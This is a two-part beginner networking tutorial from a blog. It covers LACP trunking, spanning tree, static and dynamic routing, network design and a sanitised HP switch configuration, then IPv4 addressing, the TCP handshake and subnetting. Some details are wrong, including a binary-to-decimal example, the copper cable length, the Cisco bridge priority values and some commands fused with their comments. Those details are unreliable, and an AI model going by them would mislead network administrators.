ciscoswitch(config-if)# channel-protocol lacp
ciscoswitch(config-if)# channel-group 1 mode active
ciscoswitch(config-if)# exit 
ciscoswitch(config)# interface gigabitethernet 0/2
ciscoswitch(config-if)# channel-protocol lacp
ciscoswitch(config-if)# channel-group 1 mode active
ciscoswitch(config-if)# exit
ciscoswitch(config)# write memory

What you need to do:
enter the interface configuration context and
- define the protocol to be used
- enter a group number (all links in the same group are aggregated
- enter a mode for your aggregation (a complete list of all configuration tasks can be found - Here.

With cisco you have the possiblity to configure load-balancing (this is not really balancing its more like sharing)

Code:

ciscoswitch#show etherchannel load-balance
EtherChannel Load-Balancing Configuration:
        src-mac

EtherChannel Load-Balancing Addresses Used Per-Protocol:
Non-IP: Source MAC address
  IPv4: Source MAC address
  IPv6: Source MAC address

LACP - Link Aggregation Control Protocol
Because it is a widely used standard, static LACP is the preferred trunking method when the switch on the other side of the link supports LACP. However, HP Port Trunking can
be suitable for situations when the other switch does not support LACP or when its trunking support is unknown. Because it does not rely on a protocol, HP Port Trunking
often will interoperate with other trunking configurations.

The primary advantage of dynamic LACP is support for standby links, which means the trunk can be configured with links that will become active if other links in the trunk fail.
However, the implementation of dynamic LACP limits other configuration options for the ports in the aggregation. For instance, ports in a dynamic LACP trunk cannot be configured with
non-default Spanning Tree settings. The dynamic LACP trunk also cannot be configured for membership in static VLANs.
For further reading: Here.

Link Aggregation Support

Link Aggregation support on switches varies among switch vendor, model, and software version. The hp ProVision Asic Switches including 3500yl, 5400zl and 8200zl support 144 link
aggregations with eight ports. You can assign more than these eight ports but only eight will be used for load-sharing. The others will become active if another one fails.

7. Spanning Tree (the basics)

As I mentioned on the link aggregation part, it is easy to kill your complete network with a network loop. As you want to implement redundant links and you are not able to aggregate them
you need another mechanism for that task. Imagine you have three switches. Each one is conected to each other with one link. Without the use of spanning tree, once again you build a network
loop.

_________________________
| | |
|switch1|--------|switch2|--------|switch3|

Basically the classic spanning tree which is stp (spanning tree protocol - 802.1d) and rstp (rapid spanning tree protocol - 802.1w) just blocks the redundant link which will cause a
network loop as long as the other two ports are active. If one of these ports fail then the blocked port will become active. There are a few more spanning tree types like the open standard
mstp (multiple spanning tree protocol) and the cisco pvst (per vlan spanning tree). The old stp is not used anymore as it tooks up to 30 seconds to recalculate the spanning tree topology if a
link went down. This means that a part of the network was not reachable for 30 seconds. The rstp can accomplish this in less than 2 seconds (depending on the size of the network).
In this guide I will focus on the rstp version as this is the most simple way for implementing spanning tree. I will say some words about mstp but not in depth as this can be very complex.
I will start with the hp configuration example and explain the single steps afterwards.

Code:

hpswitch(config)# spanning-treeturn on spanning tree globally on the switch

Code:

hpswitch(config)# spanning-tree force-version rstp-operationset the protocol version to rapid spanning tree

Code:

hpswitch(config)# spanning-tree priority 1set the priority for your switch. Every spanning tree instance needs a root bridge. the root bridge decides which links should be blocked.
If you dont set the priorities accordingly the switch with the lowest mac address will become root.
Bridge priority is set in increments of 4096 which means 4096 is 1, 2 is 8192 ...., 8 is 32768.

Code:

hpswitch(config)# spanning-tree 1-22 auto-edge-portdefine access/edge ports as auto-edge-ports for not envolving them into the spanning tree topology.
If one of these ports is going down the spanning tree will not recalculate it's topology.

Code:

hpswitch(config)# no spanning-tree 23-24 auto-edge-portset the uplinks port to no auto-edge-ports as they should be involved into the spanning tree topology.

Code:

hpswitch(config)# spanning-tree 1-22 bpdu-protectiondefine a bpdu protection on the access/edge ports. If some plugs in a switch to one of theses ports the switch will not get a connect.

Lets take a look at a comparable cisco configuration.

Code:

ciscoswitch(config)# spanning-treeturn on spanning tree globally on the switch -> is on by default

Code:

ciscoswitch(config)# spanning-tree mode rapid-pvstset the protocol version to rapid spanning tree

Code:

ciscoswitch(config)# spanning-tree priority 1set the priority for your switch. Every spanning tree instance needs a root bridge. the root bridge decides which links should be blocked. If you dont set the priorities accordingly
the switch with the lowest mac address will become root. Bridge priority is set with a value between 0-65535

Code:

ciscoswitch(config)# spanning-tree portfast defaultset all ports to not be involved in the spanning tree topology

Code:

ciscoswitch(config)# spanning-tree portfast bpduguard defaultconfigure all ports with bdpuguard (bdpu protection)

Code:

ciscoswitch(config)# interface gigabitethernet0/23

Code:

ciscoswitch(config-if)# spanning-tree portfast disable

Code:

ciscoswitch(config-if)# exitswitch to an uplink port to involve him to the spanning tree topology and to turn off bpdu Protection. Repeat that for all uplink ports.

Thats all for this part. This is very basic configuration but it will work and can be found in many smaller networks (up to 15 switches)

A much better way for implementing spanning tree is the multiple spanning tree protocol or per vlan spanning tree (mstp or pvst).
MSTP is an improvement to stp and rstp. You can use different spanning trees for different vlans. Within stp and rstp you have redundant links blocked.
With MSTP you can have a redundant link for vlan 5 blocked but the same link open for vlan 10. This means you have no dead links.
As with the above sample this time I will only focus on the hp configuration, start with the example config and explain it afterwards
If you are also interessted in the cisco configuration steps you can read this - Here.

Code:

hpswitch(config)# spanning-treeturn on spanning tree globally on the switch

Code:

[code]hpswitch(config)# spanning-tree force-version mstp-operationset the protocol version to multiple spanning tree -> which is used as default

Code:

hpswitch(config)# spanning-tree config-name hp

Code:

hpswitch(config)# spanning-tree config-revision 1Define an MST region identity for the switch.
Must be the same on all switches involved in this mstp topology

Code:

hpswitch(config)# spanning-tree instance 1 vlan 10 30

Code:

hpswitch(config)# spanning-tree instance 2 vlan 20 40Associate user vlans with MSTP instances. If you have two instances you should consider using different root bridges for each instance.
The configuration for the root bridge on instance 1 can look like this:

Code:

hpswitch1(config)# spanning-tree instance 1 priotity 1

Code:

hpswitch1(config)# spanning-tree instance 2 priotity 2The configuration for the other root bridge may look like this

Code:

hpswitch2(config)# spanning-tree instance 1 priority 2

Code:

hpswitch2(config)# spanning-tree instance 2 priority 1
In this example hpswitch1 is the root bridge for instance 1 and secondary root bridge for instance 2.
hpswitch2 is the root bridge for instance 2 and secondary root bridge for instance 1.
And thats all for the very basic configuration.

8. IP Routing (the basics)

Ok, thats another topic which can fill books on it's own. I will keep that as small as possible. For this I will only focus on static routing, a little bit on RIPv2 and OSPF.
Imagine you have the following network with one router which is located in a transfer network. Every Switch in the different departments is confgured for ip routing and the IP of the Switch
is the default gateway for the clients. Every Switch has a vlan for the clients and a transfer vlan to the router. The Transfer vlan has an address range of 10.10.0.0/28 and the routers ip is
10.10.0.1

Department	Subnet	VLAN	Switch IP User vlan	Switch IP Transfer Network
DataCenter	10.10.1.0/24	5	10.10.1.1	10.10.0.2
Sales	10.10.2.0/24	10	10.10.2.1	10.10.0.3
Marketing	10.10.3.0/24	15	10.10.3.1	10.10.0.4

e.g. a client in the sales department has network configuration which looks like this:
IP: 10.10.2.10
Netmask: 255.255.255.0
Gateway: 10.10.2.1

_______________|Router|_____________
| | |
|DCSwitch|--------|SalesSwitch|--------|MarketingSwitch|

Static Routing

What needs to be configured:

DCSwitch

Code:

dcswitch(config)# ip route 10.10.2.0 255.255.255.0 10.10.0.1route to reach the sales department

Code:

dcswitch(config)# ip route 10.10.3.0 255.255.255.0 10.10.0.1route to reach the marketing department

Code:

dcswitch(config)# ip default-gateway 10.10.0.1
can be used as alternative. This means that all traffic regarding subnets the switch doesn't know will be send to the router

SalesSwitch

Code:

salesswitch(config)# ip route 10.10.1.0 255.255.255.0 10.10.0.1route to reach the datacenter

Code:

salesswitch(config)# ip route 10.10.3.0 255.255.255.0 10.10.0.1route to reach the marketing department

Code:

salesswitch(config)# ip default-gateway 10.10.0.1can be used as alternative. This means that all traffic regarding subnets the switch doesn't know will be send to the router

MarketingSwitch

Code:

dcswitch(config)# ip route 10.10.1.0 255.255.255.0 10.10.0.1route to reach the datacenter

Code:

dcswitch(config)# ip route 10.10.2.0 255.255.255.0 10.10.0.1route to reach the sales department

Code:

dcswitch(config)# ip default-gateway 10.10.0.1can be used as alternative. This means that all traffic regarding subnets the switch doesn't know will be send to the router

Router

Code:

router(config)#ip route 10.10.1.0 255.255.255.0 10.10.0.2all traffic for the Datacenter will be sent to the Datacenter Switch

Code:

router(config)#ip route 10.10.2.0 255.255.255.0 10.10.0.3all traffic for the Sales Department will be sent to the Sales Switch

Code:

router(config)#ip route 10.10.3.0 255.255.255.0 10.10.0.4all traffic for the Marketing Department will be sent to the Marketing Switch.

This maybe belongs to the design part but I think it also fits to this place. This routing concept is called "routing at the edge". The first L3 Switch in the row is routing all
Traffic regarding his local subnets. If you combine this with RACLs (routed access control lists) you can stop unwanted traffic at the first L3 network device.
If you deploy a core router who does all the routing a network packet is traversing the complete network until it reaches the core or backbone and is then droped maybe.

e.g. you want the people from sales department to reach a fileserver (10.10.1.100) in the datacenter but only by smb (server message block tcp/445).
Your ACL could look like this

Code:

 salesswitch(config)# ip access-list extended "ACL_TRANSFER_TO_ROUTER"
salesswitch(config-ext-nacl)# 10 permit tcp 10.10.2.0 0.0.0.255 10.10.1.100 0.0.0.0 eq 445
salesswitch(config-ext-nacl)# 20 deny ip 10.10.2.0 0.0.0.255 10.10.1.100 0.0.0.0

Note: within ACLs the subnetmask needs to be inverted. 255.255.255.0 equals 0.0.0.255
This is a very simple example about access control lists. I will write a more in-depth tutorial about that in the future

Ok, this is very simple but can get more and more complex the larger the network grows. I'am a great friend of static routing as you have complete control about which
subnet is able to reach one other. But if you have hundrets of subnets with a lot of routers and switches you maybe won't to confgure all routes by hand.
This is when dymanic routing comes into play.

Dynamic Routing
Dynamic routing protocols enable routers to adjust automatically to changes in topology. With a dynamic routing protocol configured, if a router’s neighbor has failed, it will quickly
learn if other paths are available to the neighbor’s networks and update its route table accordingly.

RIP (Routing Information Protocol) and OSPF (Open Shortest Path First) comparison (mainly from hp training material... they can explain it much better then I can)

Distance Vector:
RIP
- Router sends periodic updates to neighbor routers
- Information about remote networks is passed from router to router based on each routers perspective
- Convergence can be slow

Link State:
OSPF
- Router reports to its neighbors the characteristics of its active connections to local networks
- Updates are flooded to all routers within administratively defined "area"
- Logical tree is build to calculate shortest path to each address range
- Enables faster convergence, detection of alternate paths after link failure due to possession of first-hand information

Two types of standard interior gateway protocols are commonly used in IP networks:

1.Distance-vector protocols
Routers using these protocols integrate information into their route tables and resend the resulting entries, as modified from their own perspectives. RIP is a common
example of a distance-vector protocol.

2. Link-state protocols.
Routers using these protocols establish neighbor relationships with adjacent routers. Routers generate updates based on local information and send the updates to
neighbors, who then flood updates to all their neighbors. Ideally, within a few milliseconds, every router in an administratively defined area has identical information.
Each router builds a logical tree that then traces out the shortest path to each advertised destination, using itself as the root. As a result, every router has a
consistent picture of the network from its own perspective. OSPF is a common example of a link-state protocol

while RIP and other distance-vector protocols are easier to configure than link-state protocols, the distance-vector protocols have one serious disadvantage. Changes in
routing topology often propagate slowly because information in a router’s table is acquired from other routers that may be as many as 15 hops away.
OSPF, like other link-state protocols, avoids the convergence issues of RIP by not relying on “second-hand” information. A router sends an advertisement when it recognizes a
link-state change. Along with the topology change, the update contains the attributes of all of the router’s currently active links. The router sends the advertisement to its immediate
neighbors, which are required by the protocol to immediately flood the advertisement to all of their neighbors.

Unlike RIP routers, OSPF routers do not increment the costs as they flood updates. In fact, an OSPF router is not permitted to make any changes to advertisements it receives
on one network before sending it out onto another network. As a result, all of the routers in the OSPF “area” have a consistent picture of the connections between all routers and
networks in the area. Each router builds a tree based on “first-hand” information that traces the shortest path
between itself and every router and network in the area. When a link state changes, the router recalculates the tree based on the new information. Ideally, less than a second
passes between the time the router advertises its new state and the time when all of the routers have found an alternate path, if one exists.

Ok... that's all I want to write about dynamic routing. As you know there are a lot more routing protocols and this is very complex.
I will write a more in-depth tutorial about dynamic routing with configuration examples in the future.

9. Something about network design
I will tell you some things you need to know if you are designing a network. Mostly you won't have the possiblity to plan a complete building including cableing, network racks and network rooms.
Basically you will do a network redesign. The things I always need to know are the following (this is not a complete list.)

- How is the cableing for switch interconnection (Uplinks) (Fiber optic, copper, 10Gig ethernet (CX4))
- which network room has direct connection to another one
- how far are the switches away from each other
- Availability
- Can new cables be installed
- How deep are the racks (you may laugh but I had the problem that a switch has not fitted into the rack)
- Are there places with additional needs (maybe the human resource department needs extra protection)
and so on.

If you have the possiblity that new cables can be installed you should deploy as many redundant links as possible.
Keep in mind that different types of cables can make different distances

copper: not more than 150 m
copper CX4: 15 m
fiber SX: 550 m
fiber LX: up to 10 km
These are not all types of cables. I just wanted to give an example.

You should consider installing a redundant backbone/core and connect them with a 10 gigabit link. You should use a router redundancy protocol like hsrp (hot standby router protocol)
or vrrp (virtual router redundancy protocol). In simple words every switch has its own ip address. With a router redundancy protocol you assign a virtual ip address on top with a virtual mac
address. The primary router uses this virtual ip address. If the primary router dies the second takes over the virtual ip and mac. You all know that you can not configure a client with two gateway
ips so instead you just use the virtual one. The virtual IP address can also be used for monitoring if a remote or branch office is reachable as this is a highly available IP address.

Think about your spanning tree deployment as much as possible.
Use a protocol which has less dead links like mstp or pvst. Your design must be very good. If there is a mis-configuration, troubleshooting can be very hard as the problems can be very strange.

If you need to mix different venders read as much interoperability guides as possible. For example if you have a cisco network with pvst and a procurve network with mstp you should allways use
a pvst filter on the ports which connect to the cisco world. Believe me... you won't see whats happening if you don't! :-)

Ok.. I think this is enough. If anyone here needs to plan and implement a network they contact me anytime. I would love to discuss that :-)

Last but not least I decided to copy in a configuration I have done for a small branch office network which is connected to a datacenter. The network consids of 4 switches and this config is from one of the L3 Switches (HP 3500yl). If you read both tutorials you should be able to understand most of it. In this config I changed IP Adresses, hostnames and routes.

Code:

hostname "Switch1" 
time timezone 60 
time daylight-time-rule Western-Europe 
console inactivity-timer 60 
ip access-list extended "Transfer_to_DC_ACL" 
   10 deny tcp 10.10.0.0 0.0.0.255 10.10.100.0 0.0.0.255 eq 3389 
   20 permit ip 10.10.0.0 0.0.0.255 10.10.100.0 0.0.0.255 
   30 permit ip 10.10.0.0 0.0.0.255 10.10.150.0 0.0.31.255 
   40 deny ip 10.10.0.0 0.0.0.255 10.10.200.0 0.0.0.15 
   50 deny ip 10.10.0.0 0.0.0.255 10.10.201.0 0.0.0.255 
   60 deny ip 10.10.0.0 0.0.0.255 10.10.202.0 0.0.0.255 
   70 deny ip 10.10.0.0 0.0.0.255 10.10.203.0 0.0.0.255 
   80 deny tcp 10.10.0.0 0.0.0.255 10.10.204.0 0.0.0.255 eq 3389 
   90 permit ip 10.10.0.0 0.0.0.255 10.10.204.0 0.0.0.255 
   200 deny tcp 10.10.1.0 0.0.0.255 10.10.100.0 0.0.0.255 eq 3389 
   210 permit ip 10.10.1.0 0.0.0.255 10.10.100.0 0.0.0.255 
   220 permit ip 10.10.1.0 0.0.0.255 10.10.150.0 0.0.31.255 
   230 deny ip 10.10.1.0 0.0.0.255 10.10.200.0 0.0.0.15 
   240 deny ip 10.10.1.0 0.0.0.255 10.10.201.0 0.0.0.255 
   250 permit ip 10.10.1.0 0.0.0.255 10.10.202.0 0.0.0.255 
   260 deny ip 10.10.1.0 0.0.0.255 10.10.203.0 0.0.0.255 
   270 deny ip 10.10.1.0 0.0.0.255 10.10.204.0 0.0.0.255 
   300 deny tcp 10.10.2.0 0.0.0.255 10.10.100.0 0.0.0.255 eq 3389 
   310 permit ip 10.10.2.0 0.0.0.255 10.10.100.0 0.0.0.255 
   320 permit ip 10.10.2.0 0.0.0.255 10.10.150.0 0.0.31.255 
   330 deny ip 10.10.2.0 0.0.0.255 10.10.200.0 0.0.0.15 
   340 deny ip 10.10.2.0 0.0.0.255 10.10.201.0 0.0.0.255 
   350 deny ip 10.10.2.0 0.0.0.255 10.10.202.0 0.0.0.255 
   360 deny ip 10.10.2.0 0.0.0.255 10.10.203.0 0.0.0.255 
   370 permit ip 10.10.2.0 0.0.0.255 10.10.204.0 0.0.0.255 
   400 deny tcp 10.10.3.0 0.0.0.255 10.10.100.0 0.0.0.255 eq 3389 
   410 permit ip 10.10.3.0 0.0.0.255 10.10.100.0 0.0.0.255 
   420 permit ip 10.10.3.0 0.0.0.255 10.10.150.0 0.0.31.255 
   430 permit ip 10.10.3.0 0.0.0.255 10.10.200.0 0.0.0.15 
   440 permit ip 10.10.3.0 0.0.0.255 10.10.201.0 0.0.0.255 
   450 permit ip 10.10.3.0 0.0.0.255 10.10.202.0 0.0.0.255 
   460 permit ip 10.10.3.0 0.0.0.255 10.10.203.0 0.0.0.255 
   470 permit ip 10.10.3.0 0.0.0.255 10.10.204.0 0.0.0.255 
   500 permit ip 10.10.4.0 0.0.0.255 10.132.72.240 0.0.0.0 
   510 deny ip 10.10.4.0 0.0.0.255 10.10.100.0 0.0.0.255 
   520 deny ip 10.10.4.0 0.0.0.255 10.10.150.0 0.0.31.255 
   530 deny ip 10.10.4.0 0.0.0.255 10.10.200.0 0.0.0.15 
   540 deny ip 10.10.4.0 0.0.0.255 10.10.201.0 0.0.0.255 
   550 deny ip 10.10.4.0 0.0.0.255 10.10.202.0 0.0.0.255 
   560 deny ip 10.10.4.0 0.0.0.255 10.10.203.0 0.0.0.255 
   570 deny ip 10.10.4.0 0.0.0.255 10.10.204.0 0.0.0.255 
   600 permit ip 10.10.7.0 0.0.0.15 10.10.100.0 0.0.0.255 
   610 permit ip 10.10.7.0 0.0.0.15 10.10.150.0 0.0.31.255 
   620 permit ip 10.10.7.0 0.0.0.15 10.10.200.0 0.0.0.15 
   630 permit ip 10.10.7.0 0.0.0.15 10.10.201.0 0.0.0.255 
   640 permit ip 10.10.7.0 0.0.0.15 10.10.202.0 0.0.0.255 
   650 permit ip 10.10.7.0 0.0.0.15 10.10.203.0 0.0.0.255 
   660 permit ip 10.10.7.0 0.0.0.15 10.10.204.0 0.0.0.255 
   700 deny ip 10.10.0.0 0.0.7.255 10.128.0.0 0.7.255.255 
   710 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 
   exit 
module 1 type J86xxA 
interface 1 
   name "Connection_to_DC" 
   speed-duplex auto-1000 
exit
interface 2 
   name "WAN_Optimizer" 
   speed-duplex auto-1000 
exit
interface 3 
   name "3 Printer1" 
exit
interface 4 
   name "4 Printer2" 
exit
interface 6 
   name "6 Client1" 
exit
interface 7 
   name "Client2" 
exit
interface 8 
   name "8 Client3" 
exit
interface 9 
   name "9 Client 4" 
exit
interface 13 
   name "13 Printer3" 
exit
interface 15 
   name "UPL_Switch4_1" 
   speed-duplex auto-1000 
exit
interface 16 
   name "UPL_Switch4_2" 
   speed-duplex auto-1000 
exit
interface 17 
   name "UPL_Switch3_1" 
   speed-duplex auto-1000 
exit
interface 18 
   name "UPL_Switch3_2" 
   speed-duplex auto-1000 
exit
interface 19 
   name "UPL_Switch2_1" 
   speed-duplex auto-1000 
exit
interface 20 
   name "UPL_Switch2_2" 
   speed-duplex auto-1000 
exit
interface 23 
   name "Client5" 
exit
trunk 19-20 Trk1 LACP 
trunk 17-18 Trk2 LACP 
trunk 15-16 Trk3 LACP 
ip routing 
snmpv3 enable 
snmpv3 group ManagerAuth user "UserName" sec-model ver3 
vlan 1 
   name "DEFAULT_VLAN" 
   untagged Trk1-Trk3 
   ip address dhcp-bootp 
   no untagged 1-14,21-24 
   exit 
vlan 760 
   name "CLIENTNET" 
   untagged 3,5-6,8-9,11-12,14,21-24 
   ip helper-address 10.132.72.13 
   ip address 10.10.0.1 255.255.255.0 
   tagged Trk1-Trk3 
   exit 
vlan 770 
   name "SERVERNET" 
   untagged 7,10 
   ip address 10.10.1.1 255.255.255.0 
   tagged Trk1-Trk3 
   exit 
vlan 780 
   name "PRINTERNET" 
   untagged 4,13 
   ip helper-address 10.132.72.13 
   ip address 10.10.2.1 255.255.255.0 
   tagged Trk1-Trk3 
   exit 
vlan 790 
   name "MGMTNET" 
   untagged 2 
   ip address 10.10.3.1 255.255.255.0 
   tagged Trk1-Trk3 
   exit 
vlan 800 
   name "GUESTNET" 
   ip address 10.10.4.1 255.255.255.0 
   tagged Trk1-Trk3 
   exit 
vlan 830 
   name "TRANSFERNET" 
   untagged 1 
   ip address 10.10.7.5 255.255.255.240 
   tagged Trk1-Trk3 
   ip access-group "Transfer_to_DC_ACL" out
   exit 
fault-finder bad-driver sensitivity high
fault-finder bad-transceiver sensitivity high
fault-finder bad-cable sensitivity high
fault-finder too-long-cable sensitivity high
fault-finder over-bandwidth sensitivity high
fault-finder broadcast-storm sensitivity high
fault-finder loss-of-link sensitivity high
fault-finder duplex-mismatch-hdx sensitivity high
fault-finder duplex-mismatch-fdx sensitivity high
fault-finder link-flap sensitivity high
banner motd "\"Authorized access only!\n\nDisconnect IMMEDIATELY if you are not 
an\n authorized user!\""
radius-server host 10.10.202.100 key "RADIUSSERVERKEY"
timesync sntp
sntp unicast
sntp server priority 1 10.10.201.5 4
no telnet-server
no web-management
ip authorized-managers 10.10.150.0 255.255.224.0 access manager
ip authorized-managers 10.10.100.0 255.255.255.0 access manager
ip authorized-managers 10.10.3.0 255.255.255.0 access manager
ip authorized-managers 10.10.201.0 255.255.255.0 access manager
ip dns domain-name "Domain.local"
ip dns server-address priority 1 10.10.203.5
ip dns server-address priority 2 10.10.203.6
ip route 10.10.150.0 255.255.224.0 10.10.7.3
ip route 10.10.100.0 255.255.255.0 10.10.7.3
ip route 10.10.201.0 255.255.255.0 10.10.7.3
ip route 10.10.202.0 255.255.255.0 10.10.7.3
ip route 10.10.200.0 255.255.255.248 10.10.7.3
ip route 10.10.203.0 255.255.255.0 10.10.7.3
ip route 10.10.204.0 255.255.255.128 10.10.7.3
router vrrp
snmp-server community "Community" operator
snmp-server contact "Admins" location "DC"
snmpv3 user "Username"
aaa accounting network start-stop radius
aaa authentication port-access eap-radius authorized
aaa authentication mac-based chap-radius authorized
aaa port-access authenticator active
aaa port-access mac-based 3-6,11-14,21-24
aaa port-access mac-based 3 unauth-vid 800
aaa port-access mac-based 4 logoff-period 10080
aaa port-access mac-based 4 unauth-vid 800
aaa port-access mac-based 5 unauth-vid 800
aaa port-access mac-based 6 unauth-vid 800
aaa port-access mac-based 8 unauth-vid 800
aaa port-access mac-based 9 unauth-vid 800
aaa port-access mac-based 11 unauth-vid 800
aaa port-access mac-based 12 unauth-vid 800
aaa port-access mac-based 13 logoff-period 10080
aaa port-access mac-based 13 unauth-vid 800
aaa port-access mac-based 14 unauth-vid 800
aaa port-access mac-based 21 unauth-vid 800
aaa port-access mac-based 22 unauth-vid 800
aaa port-access mac-based 23 unauth-vid 800
aaa port-access mac-based 24 unauth-vid 800
aaa port-access mac-based addr-format single-dash
spanning-tree
spanning-tree 3 bpdu-protection
spanning-tree 4 bpdu-protection
spanning-tree 5 bpdu-protection
spanning-tree 6 bpdu-protection
spanning-tree 7 bpdu-protection
spanning-tree 8 bpdu-protection
spanning-tree 9 bpdu-protection
spanning-tree 10 bpdu-protection
spanning-tree 11 bpdu-protection
spanning-tree 12 bpdu-protection
spanning-tree 13 bpdu-protection
spanning-tree 14 bpdu-protection
spanning-tree Trk1 priority 4
spanning-tree Trk2 priority 4
spanning-tree Trk3 priority 4
spanning-tree priority 1 force-version rstp-operation
vlan 760
   vrrp vrid 41
      owner
      virtual-ip-address 10.10.0.1 255.255.255.0
      priority 255
      enable
      exit
   exit
vlan 770
   vrrp vrid 42
      owner
      virtual-ip-address 10.10.1.1 255.255.255.0
      priority 255
      enable
      exit
   exit
vlan 780
   vrrp vrid 43
      owner
      virtual-ip-address 10.10.2.1 255.255.255.0
      priority 255
      enable
      exit
   exit
vlan 790
   vrrp vrid 44
      owner
      virtual-ip-address 10.10.3.1 255.255.255.0
      priority 255
      enable
      exit
   exit
vlan 800
   vrrp vrid 46
      owner
      virtual-ip-address 10.10.4.1 255.255.255.0
      priority 255
      enable
      exit
   exit
vlan 830
   vrrp vrid 49
      owner
      virtual-ip-address 10.10.7.5 255.255.255.240
      priority 255
      enable
      exit
   exit
no autorun
no dhcp config-file-update
no dhcp image-file-update
password manager
password operator

Enjoy :)

Networking Basics - Part 1

2012-08-20T19:32:00.001+05:30

This is the Basic Tutorial About Networking.....
Hope you all will be benefited form this....
Contents
1. Ressources used for that tutorial
2. IP addresses (ipv4) and TCP/IP -> part one
3. Subnetting (the basics) -> part one
4. NAT (the basics) -> part one
5. VLANs -> part one
6. Link Aggregation -> part two
7. Spanning Tree (the basics) -> part two
8. IP Routing (the basics) -> part two
9. Something about network design -> part two

1. Ressources used for that tutorial
- HP Networking student guides
- HP Networking configuration guides
- Cisco student guides
- HP and Cisco website
- various other websites

2. IP addresses (ipv4)
A IP address is an address in computer networks which are based on the Internet Protocol (IP). For making a device reachable on the network it has to have a ip address.
Basically you can say it like this (I like this explanation so I just copied it from an nmap book):
At its most basic level, IP is a truck-for-hire that carries data shipments across the roads of the network. IP doesn't care what's in the back of the truck; its only goal is to
make sure that the truck and its cargo of data get safely from one side of the network to the other.

Just like a real truck, every IP truck needs a starting address to pick up the shipment and a final destination address where the data will be unloaded. In the real world, we think of
these as street addresses. In the TCP/IP world, these addresses are usually represented as four decimal numbers between 0 and 255, such as 192.168.0.1 or 10.155.232.17. Before a
station can communicate across the network, the IP address of the destination station must be identified so the IP truck will know where to drive. You wouldn't take a trip
without knowing where you were going!

TCP/IP

To move data across the network, simply knowing the IP address of the end station isn't enough to complete the transfer. The cargo in the IP truck must be loaded on one end,
and unloaded on the other. The originating station must also identify who will be unloading the truck on the other end, and add that information to the shipment manifest.
Instead of names, networks use numbers called ports to represent the entity that will be loading or unloading the data cargo from the IP packet.

A port is a number between 1 and 65,535, and port number references are usually specific to an application. In many cases, an application's port number is a commonly known port
number. For example, nearly every web server on the Internet uses port 80 to receive web traffic.

You can find a list of well known ports here: Here

How is TCP working

As you know there are many Firewalls or Packet filters out there. If the IP packet is droped by such a device you will never notice because IP has no verification of arrivement.
IP doesn't even check if the destination is reachable. There comes the tcp three-way-handshake into play. Before TCP/IP sends data to the destination address (defined in the ip header) it sends out some
Synchronisation packets to make sure the destination is reachable and is listening on the specific TCP port (defined in the tcp header).

1. the source sends a Synchronisation packet called SYN frame (The SYN frame includes initial sequence numbers and the port that will be used for the conversation, as well as other initialization parameters.)
2. The destination station receives the SYN frame. If everything is in agreement, it sends an acknowledgement to the SYN (called an ACK) and its own SYN parameters.
3. The soruce station receives the ACK to its original SYN, as well as the SYN from the destination device. Assuming everything is in order, the source station sends an ACK to the destination station's SYN

This handshake occurs every time a TCP session is established.

Ok, this one is not really important to know but I will tell it anyway ;-)
TCP, in my opinion was made for a local network and not for the internet. Just imagine you have connected to companies via MPLS or Site to Site VPN.
One is located in China and the other one is located somewhere in Europe. You will have a high latency link with a round trip time of 200ms (it's maybe a bit high but I want to make that somewhat clearer). Someone from china wants to open a file located on a fileserver in the datacenter in europe. Let's think about Windows file sharing which is SMB protocol (tcp/445).
So it takes 600ms for the three-way-handshake to complete and the file is not tranfered until this is through. By the way... SMB is one of the worst protocols I have seen for the WAN as it consumes all
bandwidth which is free at the beginning of a file transfer. If you ever have problems like this you will need to look at WAN Optimization Appliances like Riverbed Steelhead.
They can deal with this problem. They are very impressive and it's a lot of fun to work with these boxes.

Different types of IP addresses
As you may have heared there are different types of IP addresses called public and private range.
The public range is reserved for devices on the internet and should not be used in your private network as this can cause trouble in your local network.

CIDR address range	address range	Description	RFC
0.0.0.0/8	0.0.0.0 to 0.255.255.255	actual network (only valid as source address)	RFC 3232 (replaced RFC 1700)
10.0.0.0/8	10.0.0.0 to 10.255.255.255	Range for private use (in your LAN)	RFC 1918
100.64.0.0/10	100.64.0.0 to 100.127.255.255	multiple used address space for provider-NAT	RFC 6598
127.0.0.0/8	127.0.0.0 to 127.255.255.255	localnet	RFC 3330
169.254.0.0/16	169.254.0.0 to 169.254.255.255	Zeroconf	RFC 3927
172.16.0.0/12	172.16.0.0 to 172.31.255.255	Range for private use (in your LAN)	RFC 1918
192.0.0.0/24	192.0.0.0 to 192.0.0.255	reserved for public use
192.0.2.0/24	192.0.2.0 to 192.0.2.255	documentation and samplecode (TEST-NET-1)	RFC 5737 (replaced RFC 3330)
192.88.99.0/24	192.88.99.0 to 192.88.99.255	6to4 Anycast (for redirecting)	RFC 3068
192.168.0.0/16	192.168.0.0 to 192.168.255.255	Range for private use (in your LAN)	RFC 1918
198.18.0.0/15	198.18.0.0 to 198.19.255.255	Network benchmark tests	RFC 2544
198.51.100.0/24	198.51.100.0 to 198.51.100.255	documentation and samplecode (TEST-NET-2)	RFC 5737
203.0.113.0/24	203.0.113.0 to 203.0.113.255	documentation and samplecode (TEST-NET-3)	RFC 5737
224.0.0.0/4	224.0.0.0 to 239.255.255.255	Multicast Network (formerly class D network)	RFC 3171
240.0.0.0/4	240.0.0.0 to 255.255.255.255	reserved (formerly class E network)	RFC 3232 (replaced RFC 1700)
255.255.255.255	255.255.255.255	Broadcast

As you may have noticed there are some ranges missing. The missing ranges are for public use on the internet. If you planed scanning the internet you should leave the above ranges.

What does CIDR mean
CIDR is short for classless inter domain routing and is a type of subnet notation. I will explain it in the subnetting part

3. Subnetting (the basics)
Everyone of you has seen a subnetmask before. But what is the meaning of such an address. One little sample:
Lets assume you have a network 192.168.1.0/24. /24 is the CIDR subnet notation and means 255.255.255.0
A subnetmask is devided into a network part and a host part. the network part must be the same for all hosts on the same subnet. The host part describes how many host can be located in that subnet.
To understand this you need to write the subnetmask in binary form 255.255.255.0 in binary is 11111111.11111111.11111111.00000000
Ok all 0's are the host part and all 1's are the network part. You may have recognized that the count of 1's is 24 which is the CIDR notation for that subnet.
Just one example more on CIDR: 255.255.255.128 in binary is: 11111111.11111111.11111111.10000000 CIDR would be /25.

How to calculate binary to decimal
This is not as hard as you may think ;-) 1 byte consists of 8 bit. 1 byte can be any number between 0 (all bits are 0) and 255 (all bits are 1) which are 256 possibilities.
Let's say you have one byte which looks like this 00000011. every one is counted and set as potence to 2. This means in this case you have to calculate 2 to the power of 2 which is 4.
